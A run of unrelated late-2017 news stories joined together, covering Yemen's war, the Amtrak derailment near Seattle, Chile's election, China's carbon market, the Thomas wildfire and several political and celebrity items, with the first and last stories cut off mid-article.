Willcocks, which is very close to Kensington Palace, focuses on an early learning years curriculum for children who are between birth and five years old, like Charlotte, who will be three in April. Under this category, the schools Web site says the teachers focus on personal and emotional development, physical development, and communication and language, which will help them in other prime subject areas in the years following.

This coming year will be a big one for both Charlotte and George, who began school this past September at Thomass Battersea; William and Kate will welcome their third child in April. This new addition will arrive just weeks before Prince Harry and Meghan Markles wedding on May 19 at Windsor Castle, where, hopefully, George will practice better etiquette than at his Aunt Pippas wedding.

This story originally appeared on Vanity Fair.

More from Vanity Fair:

13 Photos That Prove William and Kate Are a Perfect Couple

The Game of Thrones Cast Then and Now

The 20 Most Satisfying TV Kisses of All Time

Story continues

Film's Sexiest Little Black Dresses

Over-the-Top Celebrity Weddings

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Paris (AFP) - A thousand days of bloodshed: as Yemen prepares to mark Wednesday's grim anniversary, aid workers are urging world powers to bring an end to a "forgotten" conflict.

Photographs of children starving to death have failed to spur the international community into ending the world's worst humanitarian crisis, which charities warn is deepening by the day.

"There are things that could happen tomorrow that could stop children from dying," said Caroline Anning, a senior adviser at Save the Children who recently travelled to Yemen.

"Considering the depth of the suffering and the fact that it's entirely man-made, we haven't had the level of international attention on Yemen that you would expect to see."

The British charity expects 50,000 children to have died needlessly by the end of this year, with a crippling blockade on ports and airports compounding food shortages and a cholera outbreak affecting nearly one million people.

At the top of many aid workers' wish list is to see the Saudi-led coalition, which has been pounding Huthi rebels since March 26, 2015, lift the blockade which has drastically reduced their ability to bring in food and medical supplies.

Under a newly launched online campaign called Yemen Can't Wait, some 350 public figures have signed an open letter urging the United States, Britain and France to do more to end a war that has claimed more than 8,700 lives.

The conflict "has transformed the poorest country in the Middle East into the world's worst humanitarian crisis," said the letter published in France's Le Monde daily on Monday.

The letter calls on US President Donald Trump, his French counterpart Emmanuel Macron and British premier Theresa May to push for an immediate ceasefire and peace talks as permanent members of the UN Security Council.

It pointed to these countries' lucrative arms contracts with Saudi Arabia, which is determined to crush the rebels it sees as proxies for arch-rival Iran.

Story continues

"Millions of Yemeni women, men and children feel abandoned by world leaders, who seem to place profits and politics before human lives," said the letter signed by stars including actors Bill Nighy and Juliette Binoche.

- 'Entirely preventable' -

In a country which was highly dependent on food imports even before the war, French aid group ACTED estimates that some 22 million Yemenis -- three quarters of the population -- now rely on aid to survive.

Humanitarian workers say the Saudi blockade, tightened after a missile attack on Riyadh in November, has exacerbated disease which was already rampant in Yemen by creating a dire vaccine shortage.

Some aid supplies have been allowed in, but the blockade has had knock-on effects including soaring fuel prices which are crippling everything from hospitals to water plants.

Liny Suharlim, ACTED's Yemen country director, said lifting the blockade should be an immediate priority.

But only a political settlement will end the suffering of civilians who have borne the brunt of the crisis, she said.

"We are there doing what we call firefighting," she said of aid workers.

"For us it's really disheartening because this is something that is entirely preventable, completely man-made."

Compounding the problems, Anning said, public sector workers such as doctors and teachers have not been paid for a year and a half, gutting services in many areas.

- 'Invisible' conflict -

The Yemen Can't Wait campaign is intended to pressure Western leaders into action partly by raising awareness of a conflict that has largely remained off the front pages.

"Yemen is regarded as an invisible conflict, that the world has forgotten," Suharlim said.

Anning suggested Saudi Arabia's success in keeping journalists away helped explain the conflict's failure to seize the world's conscience.

But she added that the fact that the war has not sparked a significant refugee crisis -- a combined result of poverty, geography and Yemenis' inability to escape the relentless fighting -- has also encouraged the West to ignore the conflict.

"There isn't a big refugee outflow that's impacting other countries," she said.

"For all of the suffering with the extreme rates of acute malnutrition, the number of children dying every day, the world's biggest cholera outbreak or from hunger, it's contained within Yemen's borders."
The Amtrak train which derailed south of Seattle, killing three people and injuring dozens more, was travelling at 80mph in a 30mph zone, investigations have revealed.

The US National Transportation Safety Board (NTSB) said information from the event data recorder in the rear locomotive provided information about the trains speed at the time of the derailment in Washington state.

Authorities said at least three people were killed and dozens injured when the train derailed early on Monday morning, spilling train carriages onto the busy Interstate 5 road.

NTSB board member Bella Dinh-Zarr said it was not yet known what caused the train to derail and that its too early to tell why it was going so fast.

Federal investigators are continuing their inquiries at the scene.

The train was on its first journey along a newly-opened section of track.

It derailed on an overpass and plunged onto a major highway shortly after 7.30am on Monday.

More than 70 people were taken to hospital.

Amtrak President Richard Anderson said track technology called positive train control, designed to prevent high-speed derailments among other potential hazards, was not online at the time.

Washington state governor Jay Inslee called the crash a public disaster, and said there had been significant structural damage to the overpass, railway and highway infrastructure.

A track chart prepared by the Washington State Department of Transportation showed the maximum speed drops from 79mph to 30 mph for passenger trains just before the tracks curve to cross Interstate 5, where the train went off the tracks.

The chart, dated 7 February, was submitted to the Federal Railroad Administration in anticipation of the start of passenger service along a new bypass route that shaves off 10 minutes for the trip between Seattle and Portland, Oregon.

Kimberly Reason from Sound Transit, the Seattle-area transit agency that owns the tracks, said speed signs are posted 2 miles before the speed zone changes and just before the speed zone approaching the curve.

Additional reporting by agencies
Several cars from an Amtrak train plunged onto Interstate 5 near Tacoma, Washington, after it derailed on a railway bridge on Monday, December 18.

Amtrak confirmed train 501 was involved in the incident in a tweet and officials from Washington State Department of Transportation warned that all the southbound lanes of Interstate 5 had been closed. The train was the first to run on a new route connecting Seattle and Portland.

NBC, citing Pierce County spokesman Ed Troyer, reported several people were killed in the incident. Credit: Twitter/LeAnne Dela Cruz via Storyful
Montreal (AFP) - Synagogues in Montreal and Toronto -- Canada's two largest cities -- received threatening antisemitic messages at the start of Hanukkah, sources said Tuesday.

In Montreal, two synagogues alerted police "about the threats," said police spokesman Benoit Boisselle, adding that a "hate crime" investigation has been launched.

Two other synagogues in Toronto also received antisemitic messages saying the "Jewry must perish" alongside a swastika and a bleeding star of David, according to the Canadian branch of B'nai Brith.

"Sadly, we've seen the swastika make something of a comeback this year, defacing the walls of high schools, university campuses, and public property," said the group's president Michael Mostryn.

"Today, it is more imperative than ever that we condemn this symbol of racism and hatred."

Mosques in Canada have also recently been desecrated, and extreme right-wing groups in Quebec have marched to protest against immigration.
One Democratic senator says embattled Minnesota Sen. Al Franken, who announced he would resign earlier in December, was mistreated by his colleagues.

What they did to Al was atrocious, the Democrats, West Virginia Sen. Joe Manchin said in an interview on Politicos Off Message podcast. The most hypocritical thing Ive ever seen done to a human being.

Franken stepped down after facing a flood of calls for his resignation, led by a group of Democratic women. He has been accused of groping or trying to forcibly kiss several women.

Sen. Franken disputes many of the claims, but announced he would resign on Dec. 7 though he has not officially left office. His successor, Lt. Gov. Tina Smith, was named by the Minnesota governor last week.

Manchin was one of few Democrat who did not urge Franken to leave the Senate. In the interview with Politico, the West Virginia Democrat said seeing his colleagues hug Franken after his resignation speech on the Senate floor made me sick.

Thats hypocrisy at the highest level Ive ever seen in my life, he said.  I think its atrocious. We ran a good person off.

Manchin noted that Franken was willing to go through Congress ethics investigation process and deal with whatever consequences came of that before he was urged to leave. The Democrat said he hopes Franken does not ultimately resign.

I hope they have enough guts. If they had enough guts and enough conscience and enough heart to say, Al, we made a mistake asking prematurely for you to leave, Manchin said of his colleagues.

According to Politico, some other Senators have begun to question whether or not they made a mistake in calling for Franken to resign the way that they did  though not all Democrats are having second thoughts.
By John Irish and Marine Pennetier PARIS (Reuters) - French President Emmanuel Macron said on Tuesday that Bashar al-Assad was the enemy of millions of his own people and in no position to lecture France, after the Syrian leader accused Paris of supporting terrorism. After a string of strong comments by French officials blaming Assad's government for atrocities and failed talks, Assad said on Monday France was supporting bloodshed in Syria, making it unfit to talk about peace settlements. "France spearheaded support for terrorism and their hands are soaked in Syrian blood from the first days and we do not see they have changed their stance fundamentally," Assad was quoted in state media as saying. "Those who support terrorism have no right to talk about peace, Assad added. Despite being a leading backer of the Syrian opposition, France has sought a more pragmatic approach to the conflict since the arrival of Macron, saying that Assad's departure was not a pre-condition for talks to end the six-year war. Speaking alongside NATO Secretary General Jens Stoltenberg, Macron hit back at Assad. "I don't think Syria boils down to Bashar al-Assad," Macron said. "The Syrian people have an enemy. There are millions of Syrians outside of Syria and they have an enemy who is Bashar al-Assad. That's the reality." "On the military front we have a priority which is war against Daesh (Islamic State) and that's why his (Assad's) statements are unacceptable because if there is someone that has fought and can defeat Daesh ... it is the international coalition." France and other members of a U.S.-led coalition have launched air strikes against Islamic State targets. Macron said on Monday he would push for peace talks involving all parties, including Assad, promising initiatives early next year, although it remains unclear how any French proposal would relate to existing United Nations' efforts. He criticized separate Russian talks in Astana with Iran and Turkey meant to reduce violence and possibly pave the way to Syrian talks in Sochi next year. Those initiatives would fail, Macron said, because they did not include Assad's opponents and were an attempt to impose a solution on Syrians. "I don't believe in a resolution of a conflict by external forces that want to impose a peace ... and I don't believe in indulging someone that thinks their country boils down to them." (Additional reporting by Suleiman Al-Khalidi in Amman and Richard Lough in Paris; Editing by William Maclean and Andrew Heavens)
By Sultan Anshori DENPASAR, Indonesia (Reuters) - Indonesian police have arrested an Australian, an American and a Malaysian on the holiday island of Bali for drugs offences, the latest foreigners to run afoul of some of the world's strictest laws against narcotics. The three men, who were arrested in separate cases, appeared before the media at a briefing, dressed in orange prison garb, their faces concealed by balaclava, with armed police officers standing guard. It was not immediately clear if any of the three, who were identified only by their initials, would face the death penalty if convicted. Authorities found methamphetamine and the party drug ecstasy hidden in a plastic bottle and another container in the luggage of the Australian after he arrived on a flight from Bangkok on Monday, the customs office said. "Based on the results of the inspection, our officers found five packages containing clear crystals weighing 19.97 grams and 14 tablets weighing a total of 6.22 grams," Bali Airport customs office chief Himawan Indrajono said in the statement. Australia's Department of Foreign Affairs and Trade said it was "providing consular assistance to an Australian man detained in Bali" in response to emailed questions on the arrest. It declined to comment further. The U.S. citizen was arrested at a Bali post office on Nov. 30 in connection with a package sent from the United States containing 336.6 grams of e-cigarette liquid containing THC, or tetrahydrocannabinol, the active ingredient in cannabis. The Malaysian was arrested on Nov. 8 after being found with 3.03 grams of leaves thought to be marijuana and 0.65 grams of a white powder suspected to be narcotics, Idrajono said. Possession of small amounts of drugs can incur lengthy jail sentences in Indonesia and larger amounts can result in a death sentence. The execution by firing squad of two Australians in 2015, along with six other drug convicts from several other countries, strained relations between Jakarta and Canberra. Indonesia says it is facing a drug crisis with an estimated 6.4 million drug users in the country of 250 million people, and needs to impose tough punishments to contained the problem. President Joko Widodo has called for a "merciless" crackdown on narcotics, and told law enforcers to shoot drug traffickers if they resisted arrest. That echoes a tough stand taken by Philippine leader Rodrigo Duterte who has ordered a war against drugs in which several thousand people have been killed since mid-2016. (Writing by Fergus Jensen; Additional reporting by Melanie Burton in MELBOURNE)
Tokyo (AFP) - A baby panda born six months ago made its debut before the cameras in Japan Monday, a day before a doting public gets an eagerly-awaited glimpse of the cuddly animal.

The panda named Xiang Xiang -- derived from the Chinese character for "fragrance" -- has sparked a media frenzy since its birth on June 12 at Tokyo's Ueno Zoo.

Broadcasters aired live footage of the cub nimbly climbing a tree and chomping on bamboo in a special cage.

Along with local schoolchildren, selected media were permitted to watch and film the panda through a glass shield.

The public will get their first chance to see Xiang Xiang on Tuesday, the zoo's first baby panda exhibition since 1988.

"Xiang Xiang has been thriving with the loving nurturing by mum Shin Shin," Tokyo Governor Yuriko Koike said at a ceremony, describing the baby as "a new treasure of Tokyo".

The panda cub weighs 12.3 kilos (27 pounds) and is the size of a medium-sized dog, zoo officials said, adding that it is in good health.

In order to reduce stress on the panda and avoid crowds, the zoo will limit the maximum number of visitors to 2,000 a day for a one- to two-minute slot until the end of January.

The zoo received nearly 250,000 applications for a lottery to see Xiang Xiang.

For avid panda fans who miss out, the zoo will offer a live stream of Xiang Xiang's daily life from Tuesday for a year.

Mum Shin Shin, which mated with Ri Ri in February, had previously given birth in 2012 - the zoo's first panda delivery in 24 years -- only for the cub to die from pneumonia six days later.

Zookeepers have since given the adult pandas some private space in a bid to create an environment for the bashful creatures to mate successfully -- a notoriously difficult process.

Until recently considered an endangered species, it is estimated that around 2,000 giant pandas remain in the wild, in three provinces in central China.
@NewsbySmiley

A Miami judge presiding over a federal elections lawsuit against ex-congressman David Rivera has agreed to remove himself from the case after Rivera said he feared he wouldn't get an impartial hearing unless the case were transferred to a new judge.

U.S. District Judge Robert Scola recused himself from the Federal Election Commission's case against Rivera Friday, one day after Rivera filed a motion calling on Scola to transfer the case to another judge. Scola's order, first reported by the New York Times, was published in the court docket Monday afternoon.

Scola had presided over the case since it was filed in July by FEC lawyers, who sued Rivera for alleged election law violations over his role in a 2012 campaign finance scheme to secretly funnel more than $69,000 to a bumbling Democratic candidate running at the time against Rivera's ultimate general election foe, Joe Garcia. With the help of former girlfriend Ana Sol Alliegro, FEC lawyers say Rivera steered resources to the campaign of Justin Lamar Sternad in a bid to damage Garcia's campaign before he made the general election.

Sternad and Alliegro both pleaded guilty to criminal charges. Rivera, who has always denied any wrongdoing, was never charged with a crime.

On Thursday, Rivera's attorney, Roy Kahn, argued in a motion that the judge had proved himself biased in 2014 while presiding over Alliegro's criminal case. During the hearing where she pleaded guilty, Scola forced federal prosecutors to name the previously unidentified Rivera as an alleged co-conspirator. While sentencing Alliegro, Scola said "the man should come forward and not let the woman do time on his behalf."

Scola responded Friday that he was unconvinced by the argument. Still, he found it best to recuse himself anyway.

"While the Court has no doubt in its ability to conduct these proceedings in a fair and impartial manner, it is mindful that its comments in a prior related proceeding, could cause an objective, disinterested, lay observer . . . [to]entertain a significant doubt about the [Courts] impartiality, Scola wrote.

The case has been transferred to Judge Marcia G. Cooke.
By Katie Paul and Rania El Gamal RIYADH (Reuters) - Saudi air defenses shot down a ballistic missile fired by Yemen's Houthi group toward Riyadh on Tuesday, the Saudi-led coalition said, in an attack that could escalate a proxy war between the kingdom and Iran. There were no reports of casualties or damage. In contrast, a U.N. human rights spokesman said coalition air strikes had killed at least 136 non-combatants in wartorn Yemen since December 6. The Iran-aligned Houthi movement said it had aimed the missile at the Saudi royal court at al-Yamama palace, where a meeting of Saudi leaders was under way. It described the attack as a new chapter in the conflict. The Saudi-led coalition said the missile, the latest of several fired toward Riyadh, had been directed at residential areas and there had been no damage. Quoting a statement from the coalition, Saudi state news agency SPA said Iranian-made missiles were a threat to regional and international security. It accused the Houthis of using humanitarian entry points into Yemen to smuggle in missiles from Saudi Arabia's regional arch-foe Iran. "Coalition forces confirm intercepting an Iranian-Houthi missile targeting (the) south of Riyadh. There are no reported casualties at this time," the government-run Center for International Communication wrote on its Twitter account. Saudi palaces, military and oil facilities are within range of such missiles, the Houthis said in a statement carried by the group's Al-Masirah television. In Washington, a Pentagon spokesman said the United States was aware of the reported missile attack. "We are working closely with our Saudi partners ... to ensure that our Saudi partners have the resources they need to defend their territory against indiscriminate attacks against civilian-inhabited areas," he said. THOUSANDS OF AIR STRIKES IN YEMEN Saudi Arabia and Iran are locked in struggle for influence in the Middle East. The conflict in Saudi Arabia's backyard Yemen has killed more than 10,000 people and displaced over two million. The Houthis for their part have fired several missiles at the kingdom, but have not caused any serious damage. The attack came as the Houthis marked 1,000 days since the Saudi-led coalition began military operations in Yemen in March 2015 after the Iran-aligned group drove Yemeni President Abd-Rabbu Mansour Hadi into exile. "The enemies had their own mirage calculations ... but over 1,000 days, there has been this great steadfastness," said Abdel-Malek al-Houthi, a Houthi leader, in a speech on the group's Al-Masirah TV. The United Arab Emirates, a close ally of Saudi Arabia and part of its coalition, said the latest Houthi attack underscored the need to keep the military campaign in Yemen going. "With every Iranian missile fired by the Houthi militia against civilian targets, the necessity of (Operation) Decisive Storm becomes clear," United Arab Emirates minister of state for foreign affairs, Anwar Gargash, wrote on his Twitter account. Lebanese Prime Minister Saad al-Hariri condemned the attack, saying such actions exacerbate divisions in the region. Saudi Arabia and its foe Iran are also competing for influence in Iraq and Syria. Reuters witnesses described hearing a blast and said they saw smoke in the northeast of Riyadh. Saudi Arabia's Crown Prince, Mohammed bin Salman, has described what Riyadh says is Iran's supply of rockets to the Houthis as "direct military aggression" that could be an act of war. Iran has denied supplying such weaponry to the Houthis, who have taken over the Yemeni capital Sanaa and other parts of the country during its civil war. Saudi Arabia said on Nov. 4 it had intercepted a ballistic missile over Riyadh's King Khaled Airport, an attack that led the coalition to close Yemeni ports. On Nov. 30 Saudi Arabia shot down another missile near its southwestern city of Khamis Mushait. Last week the United States presented for the first time pieces of what it said were Iranian weapons supplied to the Houthis, describing it as conclusive evidence that Tehran was violating U.N. resolutions. The arms included charred remnants of what the Pentagon said was an Iranian-made short-range ballistic missile fired from Yemen in the Nov. 4 attack, as well as a drone and an anti-tank weapon recovered in Yemen by the Saudis. (Additional reporting by Sylvia Westall in Dubai and Sarah Dadoush in Beirut; Writing by Sami Aboudi; Editing by Michael Georgy)
By Steve Gorman LOS ANGELES (Reuters) - Thousands of weary firefighters, battling a deadly 2-week-old California wildfire that ranks as the third largest in state history, welcomed a second straight day of favorable weather on Monday that allowed a more aggressive attack on the flames. The so-called Thomas fire has scorched 271,000 acres (110,000 hectares) of drought-parched chaparral and brush in the coastal mountains, foothills and canyons of Ventura and Santa Barbara counties northwest of Los Angeles. The burned zone encompasses an area about a third of the size of the state of Rhode Island. More than 1,000 homes and other buildings have gone up in flames and some 18,000 other structures remained threatened from a late-season firestorm that kept firefighters on the defensive for the better part of two weeks. One firefighter lost his life, succumbing to smoke inhalation and burns last Thursday near the town of Fillmore in Ventura County. A mix of lighter winds, rising humidity and cooler air temperatures prevailed for a second day on Monday, affording crews the greatest weather break they had seen yet, said Lynne Tolmachoff, a spokeswoman for the California Department of Forestry and Fire Protection (CalFire). "Everybody is breathing a sigh of relief that this will give those firefighters a chance to get in there and do some good work, and not just be constantly chasing things," she told Reuters by telephone. A firefighting force of 8,500 personnel had carved containment lines around 50 percent of the blaze's perimeter as of Monday night, up from 45 percent earlier. But coastal communities within the towns of Santa Barbara, Montecito and Summerland were still at risk as crews hurried to extend and shore up buffer zones before a return of higher winds forecast for Wednesday, Tolmachoff said. Full containment is not expected before the second week of January. The blaze erupted on Dec. 4 and was stoked by hot, dry Santa Ana winds blowing with rare hurricane force from the high desert to the east, spreading the flames across miles of rugged coastal terrain faster than firefighters could keep up. The latest tally of burned landscape puts the Thomas blaze among the three largest wildfires documented in California, approaching the record size of the 2003 Cedar fire in San Diego County that consumed 273,246 acres (110,600 hectares) and killed 15 people. The Thomas fire has displaced more than 100,000 people, although authorities in Santa Barbara County lifted evacuation orders for additional areas no longer considered to be in harm's way, and more communities were to be reopened on Tuesday. CalFire has put the estimated cost of fighting the blaze at nearly $131 million. The cause remained under investigation. The Thomas came two months after a spate of wind-driven blazes in Northern California's wine country incinerated several thousand homes and killed more than 40 people, ranking as the deadliest rash of wildfires, and one of the most destructive, in state history. (Additional reporrting by Chris Kenning in Chicago and Peter Szekely in New York; Editing by Clive McKeef and Peter Cooney)
Santiago (AFP) - Chile's political landscape once again swung back from left to right, after billionaire businessman Sebastian Pinera beat an independent backed by outgoing center-leftist President Michelle Bachelet.

The latest swing of the political pendulum came as Pinera, who ran the South American copper giant from 2010-2014, beat Alejandro Guillier, a 64-year-old TV presenter turned senator who ran as an independent backed by Bachelet.

"Our government is going to encourage investment, productivity, innovation and the spirit of enterprise ... that is already reflected in the very favorable reaction from the markets," said Pinera on Monday, as Chile's ISPA stock market leapt 7.55 percent on the back of his election the night before. The index had its best finish in nine years.

Bachelet and Pinera had tag-teamed the presidency since she first took office in 2006, but the constitution prohibited her from seeking a third term.

Pinera, 68, won 54 percent of the vote in Sunday's runoff, a resounding win after a shaky performance in the first round of voting in November.

"We have suffered a tough defeat," Guillier said after conceding. He had called for the anti-Pinera opposition to unite after the first round and defend reforms launched by Bachelet.

Guillier failed, however, to rally far-left supporters who had voted for journalist Beatriz Sanchez in the first round, when she won 20 percent of the vote to his 22 percent.

Pinera meanwhile managed to woo an additional 1.4 million voters after his lackluster 37 percent in the first round, as Chileans appeared to have seen him as a safe pair of hands at a time when GDP growth has been sluggish in comparison with previous years.

"Pinera's triumph by the margin he achieved was surprising," said political analyst Guillermo Holzmann.

"In the end (...) the idea of improving the situation against the background of economic growth came to dominate the election," said economist Arturo Alegria.

Story continues

Pinera, whose next four-year term will begin in March 2018, had breakfast on Monday with Bachelet at his house, in line with the country's political tradition.

- Pragmatic vote -

"For voters, this wasn't an ideological choice between right and left," said Holzmann. "It was a pragmatic vote. They voted for whoever gave them the greatest sense of certainty."

Pinera managed to win 13 out of the country's 15 regions, including Antofagasta, which Guillier represents as senator.

He succeeded in capturing the votes of those fearful of a swing further to the left, comparing Guillier to Venezuela's socialist leader Nicolas Maduro.

Riding a wave of elections in recent years that have seen leftists ousted in Argentina, Brazil and Peru, Pinera also tapped into a deeply conservative tranche of Chilean society upset at Bachelet's support for same-sex marriage and abortion.

At the same time, he performed a U-turn by promising to maintain Bachelet's policy of free university education, despite having earlier declared "free things mean less commitment."

The president-elect has outlined an ambitious program that includes adding Chile to the list of developed countries by the year 2025, creating 700,000 jobs and stabilizing the public debt, which is currently at 23.8 percent of GDP.

He has also vowed to lower the corporate tax rate from 27 percent to 25 percent and reform the pension system.

"Chile is saved, Chile is saved!", chanted a thousand or so supporters who had gathered late Sunday to celebrate the second victory of the business magnate, whose wealth is estimated at around $2.7 billion.

- The future of reforms -

That optimism was counterbalanced by concerns among opposition supporters over the future of Bachelet's social reforms.

"I'm furious and worried. Those who were supposed to vote didn't," said Maria Salome, a 71-year-old street vendor. "I'm really angry because they are getting what they want, and the right wants people with no education so it is easier for them to do whatever they want with us."

But the make-up of the new Congress means that Pinera will need to cut deals with the new opposition. His coalition has 55 seats in the 155-member Chamber of Deputies. The left is split into two factions -- the Broad Front, a far-left grouping, has 20 seats, while the New Majority has 43.

"We have to be more critical of ourselves. We have suffered a tough defeat," said Guillier. "And there are more lessons to be learned in a defeat -- we have to lift our spirits and get out there and defend the reforms that we believe in."
BEIJING (Reuters) - China's Foreign Ministry on Monday defended trade with the United States as a win-win scenario ahead of a speech by U.S. President Donald Trump laying out a new national security strategy that makes clear that China is a competitor. Trump has praised Chinese President Xi Jinping while also demanding that Beijing increase pressure on North Korea over its nuclear program and changes in trade practices to make them more favorable to the United States. Chinese Foreign Ministry spokeswoman Hua Chunying said she was unable to comment on the strategy until it was unveiled. But in principle, China hopes the strategy can play a constructive role in promoting world peace and stability and promoting China-U.S. strategic mutual trust, Hua told a daily news conference. The essence of China-U.S. trade and economic ties is mutually beneficial and win-win, directly and indirectly supporting 2.6 million U.S. jobs, she added. In 2015, the profits of U.S. firms that invested in China reached $36.2 billion, and China will continue to support trade and investment liberalization, Hua said. "We are willing to work hard with the U.S. side to dedicate ourselves to building a robust, stable and healthy trade and economic relationship," she added. That was in the interests of both sides and the expectation of the international community, Hua said. The national security strategy to be rolled out in Trump's speech, should not be seen as a bid to contain China but rather to offer a clear-eyed look at the challenges it poses, said U.S. officials who spoke on condition of anonymity. Trump made his first visit as president to China last month, where he lauded his meetings on trade and North Korea as "very productive". Washington has refrained from pushing harder on trade because it needs China's cooperation on North Korea, though Xi, at least in public when Trump was in Beijing, went no further than reiterating China's determination to achieve denuclearization through talks. China and the United States have also repeatedly clashed over trade issues, including state support for Chinese firms and intellectual property rights violations in China. On Friday, China's finance ministry said it would cut export taxes on some steel products and ditch those for sales abroad of steel wire, rod and bars from Jan. 1, stirring concern in the United States and Europe that the world's top steel producer may be looking to sell its excess product abroad. It follows a ministerial level G20 meeting in Berlin last month, where China and the United States remained at odds over how to tackle excess steel capacity. The global steel sector is worth about $900 billion a year. (Reporting by Ben Blanchard; Editing by Clarence Fernandez)
China unveiled plans Tuesday to create the worlds largest carbon market as the country continues to position itself as the world leader in the fight against climate change.

The emissions trading scheme, which the government plans to enforce in Chinas power sector around 2019, will play a key role in helping the country to achieve its goal of beginning to reduce its emissions by 2030. The move sends a concrete signal to leaders across the globe that China is committed to addressing climate change at a moment when the U.S. is stepping back on the issue.

The anticipation of this announcement, which has been building for months, is a reflection of how crucial China is, says Nat Keohane, head of the Global Climate program at the Environmental Defense Fund. This is the Mount Everest of climate policy.

China first said in 2015 that it would create a national carbon market ahead of the negotiations that ultimately yielded the Paris Agreement on climate change. That announcementmade by Chinese President Xi Jinping as he stood beside then-President Obamawas a signal that the worlds two largest economies and polluters were unified in their commitment to addressing the issue. Climate policy experts say those pledges helped seal the global deal targeting greenhouse gas emissions.

But since then the U.S. has retreated from its leadership role on the the issue under President Trump, who has promised to withdraw the country from the Paris Agreement and sought to undo Obama-era climate regulations at every opportunity. On Monday, the White House suggested that global policies aimed at tacking climate change were part of an anti-growth energy agenda in an unveiling of its National Security Strategy. Instead, Trump plans to promote U.S. energy dominance with a focus on promoting American fossil fuels.

That reversal has left China and a handful of countries in Western Europe seeking to fill the gap, and Chinas new carbon market will play a central role. The nations power sector generates nearly 40% of its carbon dioxide emissions, and the effort to curb emissions will eventually expand to include the chemicals, building materials and aviation industries, among others. The program creates a financial incentive for natural gas and coal-fired power plants to reduce their emissions by requiring plants to hold permits for those emissions. Plants that exceed the standard can sell their excess permits.

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Along with other policies, the carbon market will help China cap its emissions by 2030, with some estimates suggesting it could do so before 2025. Meeting that goal would allow the country to strengthen its targets in the ongoing United Nations climate change negotiations, which climate policy experts say would increase the chances that the world hits the targets set in the Paris Agreement.

Unlike the Trump Administration, Chinese leadersalong with many in Europesee climate change as an opportunity to drive growth. By sheer virtue of its size, Chinas move away from coal will cripple the global industry and help push the world toward cleaner energy sources. When that happens, China is prepared to supply the world with clean energy technology like solar panels and lithium ion batteries that it manufactures domestically thanks to billions in investment from the national government..

Theyre stepping up to make it clear that theyre not going to wait for the United States, former Secretary of State John Kerry told TIME earlier this year. Theres no grass growing under the feet of the Chinese.
Gilberto Oliva Sr., the founder of the Oliva Cigar Co. and father of Rep. Jose Oliva, died this weekend. He was 86.

Gilberto Oliva grew up in a tobacco growing family in Pinar del Rio, Cuba, where the family began growing tobacco in 1886. In the throes of the Cuban Revolution, he fled Cuba in 1964 with his wife and young family.

They moved to Spain and then Nicaragua, where Gilberto continued as a tobacco broker. By 1969, he began growing tobacco on his own. In 1975, as Sandinista rebels were dividing Nicaragua, Gilberto and his wife -- now pregnant with their fifth child - moved the family to New Jersey where Jose was born. Months later they moved to Hialeah.

Gilberto Sr. returned to Nicaragua in 1995, where he started his own brand of cigars, Gilberto Oliva. The name would be shortened to Oliva over time.

It was a scrappy working class life for Jose and his siblings as his father worked on two continents to make ends meet. But together they grew the company to one of the largest in the world of cigars, according to halfwheel.com, an online website that focuses on the cigar industry.

In 2016, the Oliva family sold the cigar operation to J. Cortes, although the family retained its tobacco growing operations. Recently, in honor of the patriarch of the family, Oliva Cigars launched two cigar lines named after Gilberto Sr.

In October, Jose Oliva, was chosen by House Republicans to be the next House speaker after the 2018 elections. He has credited his father with instilling in him discipline, hard work and a conservative ethic.

"Weve been able to see up close and personal the effects of government and what it can do,'' Oliva told the Herald/Times in a 2015 interview. "My father was born into a free Cuba and saw that taken. He went to Nicaragua and saw a dictator take control."

Jose's business philosophy is a simple one Gilberto Sr. instilled in his children.

"My dad always said to me do not spend more than you take in and do not buy something that you cannot afford to pay for,'' Jose said.

There was also no retiring in retirement age for Gilberto Sr. In 2015, he was still spending several weeks at a time in Nicaragua, returning to Miami and then would "go back and do it again,'' Jose said.

Gilberto Sr. is survived by his wife, five children and 14 grandchildren. There will be a mass Wednesday at 9:30 a.m. at Our Lady of the Lakes, 15801 NW 67th Ave., Miami Lakes, 33014. Burial will follow.

This is a very difficult time for the Oliva family. Gilberto Oliva Sr. is the patriarch of our company and his legacy will never end, Cory Bappert, vice president of sales for Oliva Cigar Co., wrote in a text message to halfwheel.com. Please keep the Oliva family in your thoughts and prayers.

Photo courtesy of Olivacigar.com.
Christian Bales new film, Hostiles, written and directed by Scott Cooper, touches on themes that hit close to home for the actor and his adopted country.

The films stars, including Bale, Rosamund Pike, and Wes Studi, stopped by BUILD Series NYC to discuss their new movie, which, although it is set in 1852, has relevance in the era of President Trump. Hostiles follows Bales character, Capt. Joseph J. Blocker, who takes a Cheyenne war chief (Studi) and his family back to their native land. The cast discussed how Hostiles reflects todays political climate.

We didnt realize how relevant this would come to be, Bale exclaimed. It started to be [relevant] during the filming, and then became very much so after filming, when you started to see the comfort with which Americans were starting to express their hatred for other Americans, for other people different from them. Seeing that division becoming acceptable to some people.

Dehumanization is a large part of the story, and Bale sees the current press tour as a wonderful opportunity to remind people that weve been here before.

Division is not the way to go. Hatred of the other is not the way to go, he said. America is built on inclusion. Im English, as you can hear it, but its my adopted country, and I love it to bits. Clearly, the direction were going in right now is a very, very troubling one.

Studi also chimed in on the topic of art imitating life now. As a person of color, I think Ive lived with this the larger part of my life, and the unfortunate thing now is, since November [2016], things have sort of turned back to where all of that is much more acceptable, he added. Over the years, it seemed like we really made some strides in society, to at least hide that part of our societal personality.

Bale later added, I think the whole thing that Wes was talking about since November is people try to kind of put it into a red state, blue state thing, and I think thats really the wrong message. I think its really disingenuous. Our culture will be so much richer the day that we stop saying, Hey, its all white dudes who are running things, whether that be Hollywood or whether that be Washington.

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The hope Bale has for the future is evident, and he added that the inclusivity in the United States is the reason I moved here.

Its the reason my kids have American accents, is because it is that. Its a country of inclusion and invitation, he added.

To add another layer of irony in Bales life right now, the actor also recently wrapped playing Dick Cheney in another film. The actor said it was very interesting to step into that role, given current politics. Endless conversations, research  it was fascinating, he said. We can talk about that next year.

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Former members of Barack Obamas 2008 transition team have rubbished claims that Robert Mueller unlawfully obtained thousands of emails sent by members of Donald Trumps transition team.

The former FBI director has been appointed as a special counsel to investigate allegations of collusion between Mr Trumps associates and Russia, following evidence of Kremlin meddling in the 2016 presidential election.

At the weekend it emerged Mr Muellers investigators had obtained tens of thousands of emails exchanged by 13 members of Mr Trumps transition team  leading almost immediately to claims by a Trump lawyer they had done so unlawfully.

Kory Langhofer told members of Congress some of the communications released by the General Services Administration (GSA) were privileged in a number of ways, and asked them to act immediately to protect future presidential transitions from having their private records misappropriated by government agencies.

